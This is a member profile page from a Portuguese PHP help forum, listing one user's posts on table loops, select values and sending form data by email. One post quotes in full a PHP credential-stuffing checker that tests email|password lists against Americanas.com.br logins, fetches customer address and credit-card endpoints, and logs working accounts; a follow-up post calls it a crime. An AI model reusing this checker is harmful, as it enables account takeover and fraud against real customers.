Jump to content

RollySantos

Members
  • Content count

    26
  • Joined

  • Last visited

Community Reputation

0 Comum

About RollySantos

Informações Pessoais

  • Sexo
    Masculino
  1. RollySantos

    Gerador online enviando o arquivo index no arquivo favicon.ico

    Aqui baixou normal. Não veio a página index.
  2. RollySantos

    Tabela em foreach

    Eu criei as variáveis, é q o script completo é grande. Valeu! Eu só não estava enxergando onde estava errando!
  3. RollySantos

    Tabela em foreach

    Não me deram o script da outra vez. Apenas me ajudaram em como era o processamento e onde eu estava errando. E no que estou fazendo agora, ele está quase funcionando como eu planejava. A diferença é que quando eu fiz em while coloquei um if e else if calculando o loop. E o script ficou enorme. Então, estou fazendo esse que é bem diferente no foreach. Só que o que acontece é que estou colocando para fazer uma célula na coluna 1, ele fecha o <td> e vai para baixo. Minha intenção é fazer a coluna 1, 2 e 3, então o contador vai para 3 e fecha o <tr> passando para próxima linha. Então ao invés de fazer três colunas e passar para próxima linha, ele está fazendo tudo em uma linha só.
  4. RollySantos

    Tabela em foreach

    Gente, tudo bem? Estou tentando colcoar uma tabela para funcionar em foreach e não estou conseguindo. Certa vez me ajudaram a fazer em while e eu consegui fazer funcionar beleza. Mas agora, precisava fazer em foreach, tem como alguem me dar uma força? <table width="auto" border="0" cellspacing="0" cellpadding="0"> <?php foreach ($imagens as $id =>$image): ?> <?php if (preg_match($CodigoCli, $image) != ""){ ?> <?php if (preg_match($tamanhoH, $image) || preg_match($tamanhoV, $image)){ ?> <?php if ($contador >= 0) { ?> <tr> <?php } ?> <td><img src="<?php echo $Diretorio ?>/<?php echo $image ?>"><br /><label><input type="checkbox" name="imagens[<?php echo $id ?>]" value="<?php echo $image ?>"></label> - <?php echo $image ?></td> <?php $contador ++; if ($contador >= 3) { ?> </tr> <?php $contador = 0; } } } endforeach ?> </table>
  5. RollySantos

    Passar Value de um Select para variavel

    Codigo alterado, agora só falta corrigir o bug. <span style="font-size:14px;"><strong>Data do Evento:</strong></span> <select onchange="data(this)" id="mes"> <option value="">Mês</option> <option value="&mes=01">01 - Janeiro</option> <option value="&mes=02">02 - Fevereiro</option> <option value="&mes=03">03 - Março</option> <option value="&mes=04">04 - Abril</option> <option value="&mes=05">05 - Maio</option> <option value="&mes=06">06 - Junho</option> <option value="&mes=07">07 - Julho</option> <option value="&mes=08">08 - Agosto</option> <option value="&mes=09">09 - Setembro</option> <option value="&mes=10">10 - Outubro</option> <option value="&mes=11">11 - Novembro</option> <option value="&mes=12">12 - Dezembro</option> </select> <select onchange="data(this)" id="ano"> <option value="">Ano</option> <option value="&ano=2016">2016</option> </select> <br> <span style="font-size:14px;"><strong> Insira o seu código de cliente: </strong></span><input type="text" onchange="data(this)" id="codcli" width="75" required /> <br> <a href="escolhe.php?"id="lnk1-ano"id="lnk2-mes"id="lnk3-cod">Clique e Veja suas Fotos</a> <script> function data(el) { var $lnk1 = document.getElementById("lnk1-ano"); $lnk1.href = $lnk1.href.replace(/ano=(.*)/, 'ano=') + el.value; var $lnk2 = document.getElementById("lnk2-mes"); $lnk2.href = $lnk2.href.replace(/mes=(.*)/, 'mes=') + el.value; var $lnk3 = document.getElementById("lnk3-cod"); $lnk3.href = $lnk3.href.replace(/cod=(.*)/, 'cod=') + el.value; } </script>
  6. RollySantos

    Erro Quando upo pro servidor

    Aham... ok!!! <?php //$sock = ''; error_reporting(0); function getStr($string,$start,$end){ $str = explode($start,$string); $str = explode($end,$str[1]); return $str[0]; } class cURL { var $callback = false; function setCallback($func_name) { $this->callback = $func_name; } function doRequest($method, $url) { $ch = curl_init(); global $email, $pwd , $token; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_NOBODY, false); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); // RADOM DOS NAVEGADORES curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_COOKIESESSION, false ); curl_setopt($ch, CURLOPT_ENCODING, 'gzip'); curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/Americanas.txt'); //COOKIES DO NAVEGADOR curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/Americanas.txt'); //COOKIES DO NAVEGADOR curl_setopt($ch, CURLOPT_REFERER, 'https://carrinho.americanas.com.br/CustomerWeb/pages/LoginMinhaConta'); curl_setopt($ch, CURLOPT_VERBOSE, 1); if ($method == 'POST') { curl_setopt($ch, CURLOPT_POST, 0); curl_setopt($ch, CURLOPT_POSTFIELDS, ''.$token.'%3AloginForm_hf_0=&flow=&subviagens=&codCarrinho=&paramIngresso=&suggestAddressUpdate=&'.$token.'%3Ausername='.$email.'&'.$token.'%3Apassword='.$pwd.'&'.$token.'%3AbtProsseguir=Continuar'); //POST DO LIVE REQUESST } $token. "<br><br><br>"; $data = curl_exec($ch); //AQUI PRA VER AS PAGINAS DE RESULTADO curl_close($ch); if ($data) { if ($this->callback) { $callback = $this->callback; $this->callback = false; return call_user_func($callback, $data); } else { return $data; } } else { return curl_error($ch); } } function get($url) { return $this->doRequest('GET', $url, 'NULL'); } function post($url) { return $this->doRequest('POST', $url); } } echo ' <DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <head><title>AMERICANAS</title></head> <script type="text/javascript"> function pushPaypalDie(str){ document.getElementById(\'listReprovadas\').innerHTML += \'<div>\' + str + \'</div>\'; } function pushPaypal(str){ document.getElementById(\'listAprovadas\').innerHTML += \'<div>\' + str + \'</div>\'; } function pushWrongFormat(str){ document.getElementById(\'listInvalidas\').innerHTML += \'<div>\' + str + \'</div>\'; } </script> </head> <body> <div class="main-content"> <center><img src="http://www.hub2b.com.br/integracao-americanas/img/connectores/americanas-transp.png" width="200" ></img></center><form method="post"> <div align="center"><textarea name="mp" rows="10" style="width:90%">'; if (isset($_POST['btn-submit'])) echo $_POST['mp']; else echo 'EMAIL|SENHA'; ; echo '</textarea><br /> SEPARADOR: <input type="text" name="delim" value="'; if (isset($_POST['btn-submit'])) echo $_POST['delim']; else echo '|'; ; echo '" size="1" /><input type="hidden" name="mail" value="'; if (isset($_POST['btn-submit'])) echo $_POST['mail']; else echo 0; ; echo '" size="1" /><input type="hidden" name="pwd" value="'; if (isset($_POST['btn-submit'])) echo $_POST['pwd']; else echo 1; ; echo '" size="1" /> <input type="submit" class = "submit-button" value="Testar" name="btn-submit" /> </br> </div> </form> '; set_time_limit(0); include("use.php"); function fetch_value($str, $find_start, $find_end) { $start = strpos($str, $find_start); if ($start === false) { return ""; } $length = strlen($find_start); $end = strpos(substr($str, $start + $length), $find_end); return trim(substr($str, $start + $length, $end)); } function fetch_value_notrim($str, $find_start, $find_end) { $start = strpos($str, $find_start); if ($start === false) { return ""; } $length = strlen($find_start); $end = strpos(substr($str, $start + $length), $find_end); return substr($str, $start + $length, $end); } $dir = dirname(__FILE__); $config['cookie_file'] = $dir . '/cookies/' . md5($_SERVER['REMOTE_ADDR']) . '.txt'; if (!file_exists($config['cookie_file'])) { $fp = @fopen($config['cookie_file'], 'w'); @fclose($fp); } $zzz = ""; $live = array(); function get($list) { preg_match_all("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}/", $list, $socks); return $socks[0]; } function delete_cookies() { global $config; $fp = @fopen($config['cookie_file'], 'w'); @fclose($fp); } function xflush() { static $output_handler = null; if ($output_handler === null) { $output_handler = @ini_get('output_handler'); } if ($output_handler == 'ob_gzhandler') { return; } flush(); if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) { @ob_flush(); } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) { @ob_end_flush(); @ob_start(); } } function curl_grab_page($site,$proxy,$proxystatus){ $chss = curl_init(); curl_setopt($chss, CURLOPT_RETURNTRANSFER, TRUE); if ($proxystatus == 'on') { curl_setopt($chss, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($chss, CURLOPT_HTTPPROXYTUNNEL, TRUE); curl_setopt($chss, CURLOPT_PROXY, $proxy); } curl_setopt($chss, CURLOPT_COOKIEFILE, "cookie.txt"); curl_setopt($chss, CURLOPT_URL, $site); return curl_exec($chss); curl_close ($chss); } function display($str) { echo '<div>' . $str . '</div>'; xflush(); } function pushPaypalDie($str) { echo '<script type="text/javascript">pushPaypalDie(\'' . $str . '\');</script>'; file_put_contents('api/accountsdead.txt', $str . PHP_EOL, FILE_APPEND); xflush(); } function pushPaypal($str) { echo '<script type="text/javascript">pushPaypal(\'' . $str . '\');</script>'; file_put_contents('api/accounts.txt', $str . PHP_EOL, FILE_APPEND); xflush(); } function pushWrongFormat($str) { echo '<script type="text/javascript">pushWrongFormat(\'' . $str . '\');</script>'; xflush(); } if (isset($_POST['btn-submit'])) { ; echo '<br/> <br/> <br/> <center> <legend class="tvmit_live">Live:<br/><div id="listAprovadas"></div></legend> <br/> <legend class="tvmit_die">Die:<br/><div id="listReprovadas"></div></legend> <br/> <legend class="tvmit_die">Invalidas: <br/><div id="listInvalidas"></div></legend> </center> '; xflush(); $emails = explode("\n", trim($_POST['mp'])); $eCount = count($emails); $failed = $live = $uncheck = array(); $checked = 0; if (!count($emails)) { continue; } delete_cookies(); foreach ($emails AS $k => $line) { $info = explode($_POST['delim'], $line); $email = trim($info["{$_POST['mail']}"]); $pwd = trim($info["{$_POST['pwd']}"]); if (stripos($email, '@') === false || strlen($pwd) < 2) { unset($emails[$k]); pushWrongFormat($email . ' | ' . $pwd); continue; } if(file_exists(getcwd().'/Americanas.txt')) { unlink(getcwd().'/Americanas.txt'); } $c = new cURL(); $b = $c->get("https://carrinho.americanas.com.br/CustomerWeb/pages/LoginMinhaConta");//CHAMADA TOKEN $token = getStr($b,'id="btProsseguir" name="',":"); //CHAMADA TOKEN $d = $c->post("https://carrinho.americanas.com.br/CustomerWeb/pages/LoginMinhaConta/wicket:interface/:0:loginForm::IFormSubmitListener::/;jsessionid=p37fVnWRk6XnJbTQJJQTB2v8lGLPPGBvl2JLmbTXGwvRJ2gnLHzT!-598556098"); //POST DA 2 CHAMADA $id = getStr($d,'customer.id=',";"); $tok = getStr($d,'customer.api.token=',";"); $j = $c->get("https://api.americanas.com.br/v5/customer/$id/address?token='.$tok.'");//CHAMADA TOKEN $i = $c->get("https://api.americanas.com.br/v5/customer/$id/credit-card?token='.$tok.'");//CHAMADA TOKEN $checked++; if($d){ if (stristr($d,'account/home') !== false) { $cidade = getStr($j,'"city":"','"'); $estado = getStr($j,'"state":"','"'); $xyz = "<b style=\"color:green\">Live ✔ ► </b><b style=\"color:green\">$email | $pwd | $cidade | $estado | <b style=\"color:green\">♣ WeedCheck ♣</b>"; $live[] = $xyz; unset($emails[$k]); pushPaypal($xyz); } else{ pushPaypalDie("<b style=\"color:red\">Die ♦ ► </b><b style=\"color:red\" >$email<b> | $pwd | <b style=\"color:red\">♣ WeedCheck ♣</b>"); unset($emails[$k]); } } } } if (count($emails)) { display("Sem Testar:"); display('<textarea cols="800" rows="10">' . implode("\n", $emails) . '</textarea>'); } echo '</body> </html>'; ?>
  7. RollySantos

    Erro Quando upo pro servidor

    E só para constar!!! Isso que está tentando fazer é crime, e como vc nem ao menos sabe fechar um php, com certeza é um metido a lammer. Então saiba que seus dados de acesso ficaram armazenados aqui.
  8. RollySantos

    Erro Quando upo pro servidor

    No final do código coloque: ?> Assim fecha o php. Note que vc abriu na linha um o <?php mas ele não foi fechado ao final da página.
  9. RollySantos

    Passar Value de um Select para variavel

    Está recebendo a variável, o que não consigo é enviar a variavel para o link.
  10. RollySantos

    Passar Value de um Select para variavel

    Gostaria de tirar uma dúvida, tem como passar o valor de um select para uma variavel? Pois planejando um código em que a pessoa vai escolher a data do evento, duas variaveis recebe mês e ano, essas variaveis para um link do iframe, a página que está no iframe abre a página de acordo com o GET do link. Tudo na mesma página. Gostaria de saber se isso é possível. Segue o código que comecei a mexer. <form action="testeframe.php" method="POST"> <span style="font-size:14px;"><strong>Data do Evento:</strong></span> <select class="selecionames" id="mes" name="mes"> <option value="Selecione">Mês</option> <option value="01">01 - Janeiro</option> <option value="02">02 - Fevereiro</option> <option value="03">03 - Março</option> <option value="04">04 - Abril</option> <option value="05">05 - Maio</option> <option value="06">06 - Junho</option> <option value="07">07 - Julho</option> <option value="08">08 - Agosto</option> <option value="09">09 - Setembro</option> <option value="10">10 - Outubro</option> <option value="11">11 - Novembro</option> <option value="12">12 - Dezembro</option> </select> <select class="selecionaano" id="ano" name="ano"> <option value="Selecione">Ano</option> <option value="2016">2016</option> </select> <input type="submit" name="botao_enviar" value="Ok"> </form> <?php $ano = $_POST['ano']; $mes = $_POST['mes']; echo "o ano e {$ano} e o mes {$mes}"; ?> <p> <script language="javascript" type="text/javascript"> function resizeIframe(obj) { obj.style.height = obj.contentWindow.document.body.scrollHeight + 'px'; } </script> </p> <p> <iframe frameborder="0" id="iframe_cont" name="frame" onload="resizeIframe(this)" scrolling="no" src="http://rolly.com.br/escolhe.php?ano={$ano}&mes={$mes}" width="1020px"></iframe> </p>
  11. RollySantos

    Elaborar forma de envio de formulario em foreach

    Obrigadão AndersonMamede, me ajudou muito. Deu super certo aqui! Valeu!
  12. RollySantos

    Elaborar forma de envio de formulario em foreach

    Pensei em colocar algo tipo assim: $TotalDados = count($escolhidas); $i=0; $mensagemHTML = '<P>Fotos selecionadas</P> <p> </p>'.for($i=0;$i<$TotalDados;$i++) { echo $escolhidas; }; Mas n"ao aceita o for.
  13. RollySantos

    Elaborar forma de envio de formulario em foreach

    Aqui... consegui resolver parte do código. Em que, como o foreach de exibição de imagens é uma array. Puxei a array e transformei em uma variável. Agora, o que não consigo é imprimir a array no e-mail. <?php $emaildestinatario = 'contato@rolly.com.br'; $emailremetente= trim("rolly.santos@live.com"); $escolhidas = $_POST['imagens']; //escolhidas é uma array que tem todos os nomes que preciso exibir na mensagem enviada para o email. //print_r ($escolhidas); //se eu der um print_r, vou ver todos os nomes do que escolhi. //Pra ver o print_r funcionando acesse o link http://rolly.com.br/escolhe.php $mensagemHTML = '<P>Fotos selecionadas</P> <p> Quero exibir os dados da array aqui </p> <hr>'; $assunto.= "Fotos selecionadas"; $headers = "MIME-Version: 1.1\r\n"; $headers .= "Content-type: text/html; charset=utf-8\r\n"; $headers .= "From: $emailremetente\r\n"; // remetente $headers .= "Return-Path: $emaildestinatario \r\n"; // return-path $envio = mail($emaildestinatario, $assunto, $mensagemHTML, $headers); if($envio) echo "<script>location.href='http://rolly.com.br/site/orcamento-sucesso/'</script>"; else echo "erro ao enviar"; ?> Alguem poderia me ajudar a imprimir os dados da array no corpo da mensagem enviada ao e-mail? Ja tentei foreach, mas nada imprimi.
  14. RollySantos

    Função checkdnsrr() não reconhece domínio válido

    Testa com um domínio existente para ver se o erro persiste. if (checkdnsrr('globo.com.br')){ echo "funciona"; }else{ echo 'falhou'; }
  15. RollySantos

    Elaborar forma de envio de formulario em foreach

    Vasculhando o imasters, encontrei algo interessante. Que eu poderia usar o seguinte: foreach ($_POST as $campo => $valor) { $$campo = $valor; } Em que vou capturar todos os campos POST que me é enviado da página anterior, só que o meu problema ainda está sendo como vou imprimir esses campos na tela.
×

Important Information

Ao usar o fórum, você concorda com nossos Terms of Use.